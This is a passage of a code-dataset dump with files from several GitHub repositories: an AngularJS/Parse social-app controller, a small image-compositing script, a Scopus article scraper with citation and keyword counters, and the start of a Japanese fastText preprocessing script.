\"/js/SettingsController.js\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"var app = angular.module('app',['app.controllers','app.factory'])\\n\\napp.controller(\\\"MainController\\\",function($scope){\\n\\n});\\n\\napp.controller(\\\"FriendsController\\\",['$scope','GetFacebookFriends','GetFriendsFromInterests',function($scope,GetFacebookFriends,GetFriendsFromInterests){\\n var promise = GetFacebookFriends.GetFriends()\\n promise.then(function(Data){\\n for(var i=0;i<Data.length;i++)\\n {\\n if(Data[i].isFollowing)\\n {\\n Data[i].symbol = \\\"remove\\\"\\n }\\n else {\\n Data[i].symbol = \\\"add\\\"\\n }\\n }\\n $scope.FacebookFriends = Data\\n })\\n var promise2 = GetFriendsFromInterests.GetFriends()\\n promise2.then(function(Data){\\n // console.log(Data);\\n $scope.intrestBasedFriends = Data\\n },function(error){\\n console.log(error);\\n },function(update){\\n //console.log(update);\\n $scope.intrestBasedFriends = update\\n })\\n\\n $scope.FollowUnfollowAction = function(d)\\n {\\n //console.log(d);\\n\\n var FollowType = Parse.Object.extend(\\\"FollowList\\\")\\n var FollowObject = new FollowType();\\n FollowObject.set(\\\"Follower\\\",Parse.User.current())\\n User = new Parse.User();\\n\\t\\tUser.id = d.objectId\\n FollowObject.set(\\\"Following\\\",User)\\n FollowObject.set(\\\"FollowingName\\\",d.Name)\\n if(!d.isFollowing)\\n {\\n FollowObject.save({success : function(Object) {\\n $scope.objectIdOfFollowObject = Object.id\\n }})\\n d.isFollowing = true\\n d.symbol = \\\"remove\\\"\\n }\\n else {\\n FollowObject = new FollowType();\\n var Query = new Parse.Query(FollowType);\\n Query.equalTo(\\\"Following\\\",User)\\n Query.find({\\n success:function(Objects) {\\n for(var i=0;i<Objects.length;i++)\\n {\\n if(Objects[i].get(\\\"Follower\\\").id == Parse.User.current().id)\\n {\\n Objects[i].destroy()\\n }\\n }\\n }\\n })\\n d.isFollowing = false\\n d.symbol = \\\"add\\\"\\n }\\n\\n }\\n}])\\n\\napp.controller(\\\"InterestsController\\\",['$scope','FetchInterests',function($scope,FetchInterests) {\\n var promise = FetchInterests.Fetch()\\n promise.then(function(Data){\\n $scope.Data = Data\\n });\\n $scope.change = function(d){\\n var InterestProto = Parse.Object.extend(\\\"UserIntrest\\\")\\n\\n if(!d.has)\\n {\\n $scope.leverColor = \\\"red\\\"\\n var InterestObject = new InterestProto();\\n InterestObject.set(\\\"User\\\",Parse.User.current())\\n var InterestList = Parse.Object.extend(\\\"Intrestlist\\\")\\n var InterestListObject = new InterestList();\\n InterestListObject.id = d.id;\\n InterestObject.set(\\\"HisInterest\\\",InterestListObject);\\n InterestObject.set(\\\"IntrestText\\\",d.Text)\\n d.has = true\\n d.leverColor = \\\"red\\\"\\n InterestObject.save({\\n success:function(Object){console.log(\\\"Added\\\");},\\n error:function(){console.log(\\\"Error occured\\\");}\\n })\\n }\\n else {\\n d.has = false\\n var Query = new Parse.Query(InterestProto)\\n d.leverColor = \\\"\\\"\\n Query.equalTo(\\\"User\\\",Parse.User.current())\\n Query.find({\\n success:function(response){\\n for(var i=0;i<response.length;i++)\\n {\\n var SingleObject = response[i];\\n if(SingleObject.get(\\\"IntrestText\\\") == d.Text)\\n {\\n SingleObject.destroy({\\n error : function(error){console.log(error);}\\n })\\n break;\\n }\\n }\\n },\\n error : function(error)\\n {\\n console.log(error);\\n }\\n })\\n }\\n };\\n }]);\\n\\napp.controller(\\\"EditProfileController\\\",function($scope){\\n var user = Parse.User.current()\\n $scope.Email = user.get(\\\"email\\\");\\n $scope.Ninja_name = user.get(\\\"Ninja_name\\\");\\n $scope.Name = user.get(\\\"Name\\\")\\n //alert(user.get('ProfilePicture').url())\\n $scope.image = user.get('ProfilePicture').url()\\n $scope.update = function(){\\n var fileUploadControl = document.getElementsByName('profilePic')[0];\\n //console.log(fileUploadControl.files.length)\\n if (fileUploadControl.files.length > 0) {\\n var file = fileUploadControl.files[0];\\n // alert(JSON.stringify(file))\\n var name = \\\"profilePic.png\\\";\\n var parseFile = new Parse.File(name, file);\\n parseFile.save().then(function(){\\n user.set(\\\"ProfilePicture\\\",parseFile);\\n user.set(\\\"email\\\",$scope.Email)\\n user.set(\\\"Ninja_name\\\",$scope.Ninja_name)\\n user.set(\\\"Name\\\",$scope.Name)\\n user.save({\\n success: function(user){\\n Materialize.toast('Your Profile was successfully updated', 3000);\\n location.reload()\\n },\\n error : function(error){\\n Materialize.toast(error, 2000);\\n }\\n });\\n\\n },function(){})\\n }\\n else {\\n Materialize.toast('Please choose your Profile Picture', 2000);\\n }\\n }\\n})\\n\\napp.controller(\\\"ChangePassword\\\",function($scope){\\n $scope.update = function(){\\n var user = Parse.User.current()\\n if($scope.Pass_con == $scope.Pass_main)\\n {\\n user.set(\\\"password\\\",$scope.Pass_main)\\n user.save({\\n success : function(user){\\n Materialize.toast('Password updated', 3000);\\n }\\n })\\n }\\n }\\n})\\n\"\n },\n {\n \"alpha_fraction\": 0.641121506690979,\n \"alphanum_fraction\": 0.7028037309646606,\n \"avg_line_length\": 88.33333587646484,\n \"blob_id\": \"527b8428136f46856665a47213c052405f2929da\",\n \"content_id\": \"0381f979a1c73785cf3b33e2956268ad33979af4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 535,\n \"license_type\": \"no_license\",\n \"max_line_length\": 278,\n \"num_lines\": 6,\n \"path\": \"/images/logos/punchit.io_files/FkQNViGi-sj.js\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*!CK:2686195818!*//*1441808114,*/\\n\\nif (self.CavalryLogger) { CavalryLogger.start_js([\\\"tLt9Y\\\"]); }\\n\\n__d('IntlLithuanianNumberType',['IntlVariations'],function a(b,c,d,e,f,g,h){if(c.__markCompiled)c.__markCompiled();var i={getNumberVariationType:function(j){var k=j%100,l=k%10;return l===0||k>10&&k<20?h.NUMBER_DUAL:l===1?h.NUMBER_SINGULAR:h.NUMBER_PLURAL;}};f.exports=i;},null);\\n__d('legacy:pages-suggest-ui-nullable',['NullableInput'],function a(b,c,d,e){if(c.__markCompiled)c.__markCompiled();b.NullableInput=c('NullableInput');},3);\"\n },\n {\n \"alpha_fraction\": 0.618453860282898,\n \"alphanum_fraction\": 0.7605984807014465,\n \"avg_line_length\": 33.869564056396484,\n \"blob_id\": \"375952e502352a00b3701552bf058a0dda0bac31\",\n \"content_id\": \"b192365761eb3c0ac972cbb4bd4b2c288cb39484\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 802,\n \"license_type\": \"no_license\",\n \"max_line_length\": 121,\n \"num_lines\": 23,\n \"path\": \"/Process.py\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nimport sys\\nfrom PIL import Image\\n\\nf = open('Image1.jpg', 'wb')\\nurl1 = \\\"http://files.parsetfss.com/b7dd35dc-b01c-4492-b846-ef2a47bafc6b/tfss-0b3759e3-2265-430a-b033-f8f4421cdaab-Image1\\\"\\nf.write(requests.get(url1).content)\\nf.close()\\nf1 = open('Image2.jpg', 'wb')\\nurl2 = \\\"http://files.parsetfss.com/b7dd35dc-b01c-4492-b846-ef2a47bafc6b/tfss-0b3759e3-2265-430a-b033-f8f4421cdaab-Image1\\\"\\nf1.write(requests.get(url2).content)\\nf1.close()\\nbackground = Image.open('images/Share_Pattern.jpg')\\nbackground.thumbnail((300,300),Image.ANTIALIAS)\\n# background.show()\\nimage1 = Image.open('Image1.jpg')\\nimage1.thumbnail((75,100),Image.ANTIALIAS)\\n# image1.show()\\nimage2 = Image.open('Image2.jpg')\\nimage2.thumbnail((75,100),Image.ANTIALIAS)\\nimage2.show()\\nbackground.paste(image1,(40,10))\\nbackground.show()\\n\"\n },\n {\n \"alpha_fraction\": 0.7219731211662292,\n \"alphanum_fraction\": 0.7219731211662292,\n \"avg_line_length\": 30.85714340209961,\n \"blob_id\": \"9b1e6d55b7141d3e9fff3c2996bb72b5734e33b6\",\n \"content_id\": \"0447e1b307e96b56b82935f03d688a58f1ffc6c1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 223,\n \"license_type\": \"no_license\",\n \"max_line_length\": 54,\n \"num_lines\": 7,\n \"path\": \"/settings_local.py\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from parse_rest.connection import register\\ndef initParse(sessionToken=None):\\n\\tprint \\\"init\\\"\\n\\tif sessionToken == None:\\n\\t\\tregister('Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4','nJOJNtVr1EvNiyjo6F6M8zfiUdzv8lPx31FBHiwO',master_key=None)\\n\\telse:\\n\\t\\tregister('Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4','nJOJNtVr1EvNiyjo6F6M8zfiUdzv8lPx31FBHiwO',session_token=sessionToken)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":10,"string":"10"}}},{"rowIdx":2978316,"cells":{"repo_name":{"kind":"string","value":"clearskky/Scopus_Scrape"},"repo_url":{"kind":"string","value":"https://github.com/clearskky/Scopus_Scrape"},"snapshot_id":{"kind":"string","value":"2fdf0b8e8e650b749c05ef45ff6aa4a16014e6be"},"revision_id":{"kind":"string","value":"f0af9110c6b18a665de6f3a961d36a2d9973e10c"},"directory_id":{"kind":"string","value":"8914855d0900f44001c6115410a12d464e6e77a4"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-26T14:33:56.923301","string":"2021-01-26T14:33:56.923301"},"revision_date":{"kind":"timestamp","value":"2020-02-27T06:41:00","string":"2020-02-27T06:41:00"},"committer_date":{"kind":"timestamp","value":"2020-02-27T06:41:00","string":"2020-02-27T06:41:00"},"github_id":{"kind":"number","value":243449516,"string":"243,449,516"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5965327024459839,"alphanum_fraction":0.6356711387634277,"avg_line_length":49.445945739746094,"blob_id":"f1a75eb0a093308c617ec5cbbeb66dce43175435","content_id":"7e9ff297a8056ec8f69ff0131b843b92f9c0f068","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3852,"license_type":"no_license","max_line_length":269,"num_lines":74,"path":"/ScopusScrape.py","repo_name":"clearskky/Scopus_Scrape","src_encoding":"UTF-8","text":"import requests\r\nimport json\r\nfrom bs4 import BeautifulSoup #HTML sayfasını parse etmek için gereken kütüphane\r\nfrom time import sleep \r\n\r\noffset = 1 # URL'de offset parametresi sayfanın başında hangi makalenin yer alacağını belirler. Örneğin offset 41 olduğu zaman sayfada 41-60 arası makaleler listelenir.\r\npubyear = 2019\r\nscopus_1 = \"https://www.scopus.com/results/results.uri?sort=cp-f&src=s&st1=%22human-computer+interaction%22&nlo=&nlr=&nls=&sid=f65b0436cf4718bd9b60238fd65a4454&sot=b&sdt=b&sl=78&s=TITLE-ABS-KEY%28%22human-computer+interaction%22%29+AND+DOCTYPE%28ar%29+AND+PUBYEAR+%3d+\"\r\nscopus_2 = \"&cl=t&offset=\"\r\nscopus_3 = \"&origin=resultslist&ss=cp-f&ws=r-f&ps=r-f&cs=r-f&cc=10&txGid=7575ff4e603f1469d35288c9add1ab14\"\r\narticles = {}\r\n#totalArticleCount = 100\r\n\r\n\r\nhdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',\r\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\r\n 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',\r\n 'Accept-Encoding': 'none',\r\n 'Accept-Language': 'en-US,en;q=0.8',\r\n 'Connection': 'keep-alive'}\r\n\r\nfor k in range(25): #Range * 20 = Elde edilecek makale sayısı. Her sayfada 20 makale yer almakta\r\n myURL = scopus_1 + str(pubyear) + scopus_2 + str(offset) + scopus_3\r\n r = requests.post(url=myURL, headers=hdr)\r\n parsedPage = BeautifulSoup(r.text, \"lxml\")\r\n searchAreas = parsedPage.find_all(\"tr\", attrs={\"class\":\"searchArea\"})\r\n print(len(searchAreas))\r\n for i in range(len(searchAreas)):\r\n #Her makalenin belirli bazı verileri elde edilir\r\n searchArea = searchAreas[i].find(\"a\", attrs={\"class\":\"ddmDocTitle\"})\r\n docTitle = searchArea.get_text()\r\n docLink = searchArea.attrs[\"href\"]\r\n citations = searchAreas[i].find_all(\"td\", attrs={\"class\":\"textRight\"})[1].get_text()\r\n keywords = []\r\n\r\n \r\n print(str(offset+i) + \".ci makalenin sayfasından etiketler çekiliyor\")\r\n\r\n #Makalenin anahtar kelimelerini elde etmek için makalenin sayfasına gidilir\r\n try:\r\n r2 = requests.post(url=docLink, headers=hdr)\r\n parsedArticle = BeautifulSoup(r2.text, \"lxml\")\r\n #print(\"parsedArticle BeautifulSoup nesnesi oluşturuldu\")\r\n authorKeywords = parsedArticle.find(\"section\", attrs={\"id\":\"authorKeywords\"})\r\n #print(\"Keyword'lerin yer aldığı section elde edildi\")\r\n badges = authorKeywords.find_all(\"span\", attrs={\"class\":\"badges\"})\r\n #print(\"Bütün badge'ler bulundu\")\r\n keywords = []\r\n for j in range(len(badges)):\r\n keywords.append(badges[j].get_text())\r\n print(str(offset+i) +\".ci makalenin bütün anahtarlar kelimeleri elde edildi\")\r\n print(\"------------------------------------\")\r\n except:\r\n print(str(offset+i) +\".ci makalenin yazar tarafından verilen etiketleri yok ---------!!!\")\r\n print(\"------------------------------------\")\r\n \r\n \r\n #Bulgular dictionary'nin uygun alanlarına yerleştirilir\r\n \r\n articles[\"article\" + str(offset+i)] = {}\r\n articles[\"article\" + str(offset+i)][\"docTitle\"] = docTitle\r\n articles[\"article\" + str(offset+i)][\"docLink\"] = docLink\r\n articles[\"article\" + str(offset+i)][\"citations\"] = citations.strip(\"\\n\")\r\n articles[\"article\" + str(offset+i)][\"keywords\"] = keywords\r\n offset+= 20\r\nprint(\"Bütün bulgular dictionary'e yerleştirildi\")\r\n\r\n\r\n \r\nprint(\"JSON Yazım işlemleri başlıyor\")\r\nwith open(\"scopus500articles2019.json\", \"w\", encoding=\"utf-8\") as jsonFile:\r\n #json.dump(complaints, jsonFile, ensure_ascii=False).encode(\"utf8\")\r\n json.dump(articles, jsonFile)\r\n print(\"Dosya yazım işlemi başarıyla tamamlandı\")\r\n"},{"alpha_fraction":0.5679903626441956,"alphanum_fraction":0.5848375558853149,"avg_line_length":35.772727966308594,"blob_id":"a7185cc51872b96ff3258c2dfaeebed432fbbaf4","content_id":"c5fa6a51e1f340a80667b8449be00010007bf756","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":836,"license_type":"no_license","max_line_length":100,"num_lines":22,"path":"/ScopusCitationsCounter.py","repo_name":"clearskky/Scopus_Scrape","src_encoding":"UTF-8","text":"import json\r\n\r\nfile = \"scopus500articles201\"\r\nfileNumber = 5\r\n\r\ncitations = {}\r\nfor i in range(5,10):\r\n targetFile = file + str(i) + \".json\"\r\n with open(targetFile, \"r\") as articles:\r\n articleData = json.load(articles)\r\n for article, data in articleData.items():\r\n year = \"201\" + str(i)\r\n if year not in citations.keys():\r\n citations[year] = int(data[\"citations\"].strip(\"\\n\").strip(\"\\t\"))\r\n else:\r\n citations[year] += int(data[\"citations\"].strip(\"\\n\").strip(\"\\t\"))\r\n \r\n\r\nwith open(\"ArticleCitationCountByYear.json\", \"w\") as destination:\r\n citations = {k: v for k, v in sorted(citations.items(), key=lambda item: item[1], reverse=True)}\r\n json.dump(citations, destination)\r\n print(\"Dosya yazım işlemi başarıyla tamamlandı\")\r\n"},{"alpha_fraction":0.5452696084976196,"alphanum_fraction":0.5666327476501465,"avg_line_length":35.57692337036133,"blob_id":"7678fcf76a084fa829b7d8beb39deaf3ef841672","content_id":"5c75f464e486b21ae490f1c60dadfc80137015a4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":995,"license_type":"no_license","max_line_length":102,"num_lines":26,"path":"/ScopusKeywordCounter.py","repo_name":"clearskky/Scopus_Scrape","src_encoding":"UTF-8","text":"import json\r\n\r\nfile = \"scopus500articles201\"\r\nfileNumber = 5\r\n\r\nkeywords = {}\r\nfor i in range(5,10):\r\n targetFile = file + str(i) + \".json\"\r\n with open(targetFile, \"r\") as articles:\r\n articleData = json.load(articles)\r\n for article, data in articleData.items():\r\n for keyword in data[\"keywords\"]:\r\n if len(data[\"keywords\"]) < 1:\r\n keywords[\"noKeywords\"] += 1\r\n if keyword not in keywords:\r\n keywords[keyword] = 1\r\n else:\r\n keywords[keyword] += 1\r\n\r\n destinationFile = \"500ArticleKeywords201\" + str(i) + \".json\"\r\n with open(destinationFile, \"w\") as destination:\r\n keywords = {k: v for k, v in sorted(keywords.items(), key=lambda item: item[1], reverse=True)}\r\n json.dump(keywords, destination)\r\n print(\"Dosya yazım işlemi başarıyla tamamlandı\")\r\n \r\nprint(\"Bütün dosya yazım işlemleri başarıyla tamamlandı\")\r\n \r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5965327024459839,\n \"alphanum_fraction\": 0.6356711387634277,\n \"avg_line_length\": 49.445945739746094,\n \"blob_id\": \"f1a75eb0a093308c617ec5cbbeb66dce43175435\",\n \"content_id\": \"7e9ff297a8056ec8f69ff0131b843b92f9c0f068\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3852,\n \"license_type\": \"no_license\",\n \"max_line_length\": 269,\n \"num_lines\": 74,\n \"path\": \"/ScopusScrape.py\",\n \"repo_name\": \"clearskky/Scopus_Scrape\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\r\\nimport json\\r\\nfrom bs4 import BeautifulSoup #HTML sayfasını parse etmek için gereken kütüphane\\r\\nfrom time import sleep \\r\\n\\r\\noffset = 1 # URL'de offset parametresi sayfanın başında hangi makalenin yer alacağını belirler. Örneğin offset 41 olduğu zaman sayfada 41-60 arası makaleler listelenir.\\r\\npubyear = 2019\\r\\nscopus_1 = \\\"https://www.scopus.com/results/results.uri?sort=cp-f&src=s&st1=%22human-computer+interaction%22&nlo=&nlr=&nls=&sid=f65b0436cf4718bd9b60238fd65a4454&sot=b&sdt=b&sl=78&s=TITLE-ABS-KEY%28%22human-computer+interaction%22%29+AND+DOCTYPE%28ar%29+AND+PUBYEAR+%3d+\\\"\\r\\nscopus_2 = \\\"&cl=t&offset=\\\"\\r\\nscopus_3 = \\\"&origin=resultslist&ss=cp-f&ws=r-f&ps=r-f&cs=r-f&cc=10&txGid=7575ff4e603f1469d35288c9add1ab14\\\"\\r\\narticles = {}\\r\\n#totalArticleCount = 100\\r\\n\\r\\n\\r\\nhdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',\\r\\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\\r\\n 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',\\r\\n 'Accept-Encoding': 'none',\\r\\n 'Accept-Language': 'en-US,en;q=0.8',\\r\\n 'Connection': 'keep-alive'}\\r\\n\\r\\nfor k in range(25): #Range * 20 = Elde edilecek makale sayısı. Her sayfada 20 makale yer almakta\\r\\n myURL = scopus_1 + str(pubyear) + scopus_2 + str(offset) + scopus_3\\r\\n r = requests.post(url=myURL, headers=hdr)\\r\\n parsedPage = BeautifulSoup(r.text, \\\"lxml\\\")\\r\\n searchAreas = parsedPage.find_all(\\\"tr\\\", attrs={\\\"class\\\":\\\"searchArea\\\"})\\r\\n print(len(searchAreas))\\r\\n for i in range(len(searchAreas)):\\r\\n #Her makalenin belirli bazı verileri elde edilir\\r\\n searchArea = searchAreas[i].find(\\\"a\\\", attrs={\\\"class\\\":\\\"ddmDocTitle\\\"})\\r\\n docTitle = searchArea.get_text()\\r\\n docLink = searchArea.attrs[\\\"href\\\"]\\r\\n citations = searchAreas[i].find_all(\\\"td\\\", attrs={\\\"class\\\":\\\"textRight\\\"})[1].get_text()\\r\\n keywords = []\\r\\n\\r\\n \\r\\n print(str(offset+i) + \\\".ci makalenin sayfasından etiketler çekiliyor\\\")\\r\\n\\r\\n #Makalenin anahtar kelimelerini elde etmek için makalenin sayfasına gidilir\\r\\n try:\\r\\n r2 = requests.post(url=docLink, headers=hdr)\\r\\n parsedArticle = BeautifulSoup(r2.text, \\\"lxml\\\")\\r\\n #print(\\\"parsedArticle BeautifulSoup nesnesi oluşturuldu\\\")\\r\\n authorKeywords = parsedArticle.find(\\\"section\\\", attrs={\\\"id\\\":\\\"authorKeywords\\\"})\\r\\n #print(\\\"Keyword'lerin yer aldığı section elde edildi\\\")\\r\\n badges = authorKeywords.find_all(\\\"span\\\", attrs={\\\"class\\\":\\\"badges\\\"})\\r\\n #print(\\\"Bütün badge'ler bulundu\\\")\\r\\n keywords = []\\r\\n for j in range(len(badges)):\\r\\n keywords.append(badges[j].get_text())\\r\\n print(str(offset+i) +\\\".ci makalenin bütün anahtarlar kelimeleri elde edildi\\\")\\r\\n print(\\\"------------------------------------\\\")\\r\\n except:\\r\\n print(str(offset+i) +\\\".ci makalenin yazar tarafından verilen etiketleri yok ---------!!!\\\")\\r\\n print(\\\"------------------------------------\\\")\\r\\n \\r\\n \\r\\n #Bulgular dictionary'nin uygun alanlarına yerleştirilir\\r\\n \\r\\n articles[\\\"article\\\" + str(offset+i)] = {}\\r\\n articles[\\\"article\\\" + str(offset+i)][\\\"docTitle\\\"] = docTitle\\r\\n articles[\\\"article\\\" + str(offset+i)][\\\"docLink\\\"] = docLink\\r\\n articles[\\\"article\\\" + str(offset+i)][\\\"citations\\\"] = citations.strip(\\\"\\\\n\\\")\\r\\n articles[\\\"article\\\" + str(offset+i)][\\\"keywords\\\"] = keywords\\r\\n offset+= 20\\r\\nprint(\\\"Bütün bulgular dictionary'e yerleştirildi\\\")\\r\\n\\r\\n\\r\\n \\r\\nprint(\\\"JSON Yazım işlemleri başlıyor\\\")\\r\\nwith open(\\\"scopus500articles2019.json\\\", \\\"w\\\", encoding=\\\"utf-8\\\") as jsonFile:\\r\\n #json.dump(complaints, jsonFile, ensure_ascii=False).encode(\\\"utf8\\\")\\r\\n json.dump(articles, jsonFile)\\r\\n print(\\\"Dosya yazım işlemi başarıyla tamamlandı\\\")\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.5679903626441956,\n \"alphanum_fraction\": 0.5848375558853149,\n \"avg_line_length\": 35.772727966308594,\n \"blob_id\": \"a7185cc51872b96ff3258c2dfaeebed432fbbaf4\",\n \"content_id\": \"c5fa6a51e1f340a80667b8449be00010007bf756\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 836,\n \"license_type\": \"no_license\",\n \"max_line_length\": 100,\n \"num_lines\": 22,\n \"path\": \"/ScopusCitationsCounter.py\",\n \"repo_name\": \"clearskky/Scopus_Scrape\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import json\\r\\n\\r\\nfile = \\\"scopus500articles201\\\"\\r\\nfileNumber = 5\\r\\n\\r\\ncitations = {}\\r\\nfor i in range(5,10):\\r\\n targetFile = file + str(i) + \\\".json\\\"\\r\\n with open(targetFile, \\\"r\\\") as articles:\\r\\n articleData = json.load(articles)\\r\\n for article, data in articleData.items():\\r\\n year = \\\"201\\\" + str(i)\\r\\n if year not in citations.keys():\\r\\n citations[year] = int(data[\\\"citations\\\"].strip(\\\"\\\\n\\\").strip(\\\"\\\\t\\\"))\\r\\n else:\\r\\n citations[year] += int(data[\\\"citations\\\"].strip(\\\"\\\\n\\\").strip(\\\"\\\\t\\\"))\\r\\n \\r\\n\\r\\nwith open(\\\"ArticleCitationCountByYear.json\\\", \\\"w\\\") as destination:\\r\\n citations = {k: v for k, v in sorted(citations.items(), key=lambda item: item[1], reverse=True)}\\r\\n json.dump(citations, destination)\\r\\n print(\\\"Dosya yazım işlemi başarıyla tamamlandı\\\")\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.5452696084976196,\n \"alphanum_fraction\": 0.5666327476501465,\n \"avg_line_length\": 35.57692337036133,\n \"blob_id\": \"7678fcf76a084fa829b7d8beb39deaf3ef841672\",\n \"content_id\": \"5c75f464e486b21ae490f1c60dadfc80137015a4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 995,\n \"license_type\": \"no_license\",\n \"max_line_length\": 102,\n \"num_lines\": 26,\n \"path\": \"/ScopusKeywordCounter.py\",\n \"repo_name\": \"clearskky/Scopus_Scrape\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import json\\r\\n\\r\\nfile = \\\"scopus500articles201\\\"\\r\\nfileNumber = 5\\r\\n\\r\\nkeywords = {}\\r\\nfor i in range(5,10):\\r\\n targetFile = file + str(i) + \\\".json\\\"\\r\\n with open(targetFile, \\\"r\\\") as articles:\\r\\n articleData = json.load(articles)\\r\\n for article, data in articleData.items():\\r\\n for keyword in data[\\\"keywords\\\"]:\\r\\n if len(data[\\\"keywords\\\"]) < 1:\\r\\n keywords[\\\"noKeywords\\\"] += 1\\r\\n if keyword not in keywords:\\r\\n keywords[keyword] = 1\\r\\n else:\\r\\n keywords[keyword] += 1\\r\\n\\r\\n destinationFile = \\\"500ArticleKeywords201\\\" + str(i) + \\\".json\\\"\\r\\n with open(destinationFile, \\\"w\\\") as destination:\\r\\n keywords = {k: v for k, v in sorted(keywords.items(), key=lambda item: item[1], reverse=True)}\\r\\n json.dump(keywords, destination)\\r\\n print(\\\"Dosya yazım işlemi başarıyla tamamlandı\\\")\\r\\n \\r\\nprint(\\\"Bütün dosya yazım işlemleri başarıyla tamamlandı\\\")\\r\\n \\r\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978317,"cells":{"repo_name":{"kind":"string","value":"tkys/fasttext_text_classifier"},"repo_url":{"kind":"string","value":"https://github.com/tkys/fasttext_text_classifier"},"snapshot_id":{"kind":"string","value":"38bcb9775f548cb634c5e26d0010bb3b737139fa"},"revision_id":{"kind":"string","value":"face711911dc0528c1d2959c3339847ea3dcba9e"},"directory_id":{"kind":"string","value":"50a11bdb92a2f74bf8ac69bfb01d6149275a8748"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-08-08T12:20:18.556333","string":"2020-08-08T12:20:18.556333"},"revision_date":{"kind":"timestamp","value":"2019-10-09T11:25:04","string":"2019-10-09T11:25:04"},"committer_date":{"kind":"timestamp","value":"2019-10-09T11:25:04","string":"2019-10-09T11:25:04"},"github_id":{"kind":"number","value":213830846,"string":"213,830,846"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.4791809022426605,"alphanum_fraction":0.4955631494522095,"avg_line_length":20.865671157836914,"blob_id":"40ac1ce88cfe4c3a50be4e4e90a0e21f3a474317","content_id":"8927bda9a4d0f046da97b545cca16c2c73ac0456","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1601,"license_type":"no_license","max_line_length":88,"num_lines":67,"path":"/train_data_fasttext.py","repo_name":"tkys/fasttext_text_classifier","src_encoding":"UTF-8","text":"import csv\nimport re\nimport sys\nimport MeCab\n\n# いらない品詞（stop word）があるならばコメントアウト \nhinshi_list = [\n \"名詞\",\n \"動詞\",\n \"形容詞\",\n \"形容動詞\",\n \"記号\",\n \"助詞\",\n \"助動詞\",\n \"副詞\"\n ]\n\n\ndef convert2fasttext(bunrui):\n \"\"\" fastText用のラベルに変換 \"\"\"\n labels = {\n \"1\": \"__label__1\",\n \"2\": \"__label__2\",\n \"3\": \"__label__3\"\n #\"4\": \"__label__4\",\n #\"5\": \"__label__5\"\n }\n return labels[bunrui]\n\ndef convert2wakati(text, tagger):\n\n r=[]\n mojiretu=' '\n \"\"\" わかち書きに変換 \"\"\"\n node = tagger.parseToNode(text)\n\n while node:\n # 単語を取得\n if node.feature.split(\",\")[6] == '*':\n word = node.surface\n else:\n word = node.feature.split(\",\")[6]\n #word = node.surface\n\n # 品詞を取得\n hinshi = node.feature.split(\",\")[0]\n\n if hinshi in hinshi_list:\n r.append(word)\n node = node.next\n\n mojiretu = (' '.join(r)).strip()\n\n return mojiretu\n\ndef main():\n tagger = MeCab.Tagger('-d /usr/lib/x86_64-linux-gnu/mecab/dic/mecab-ipadic-neologd')\n with open(sys.argv[1]) as file:\n reader = csv.reader(file)\n for row in reader:\n label = convert2fasttext(row[0])\n comment = convert2wakati(\"\".join(row[1:]), tagger)\n # comment = stopword(comment)\n print(\"{label}, {comment}\\n\".format(label=label, comment=comment), end=\"\")\n\nif __name__ == \"__main__\":\n 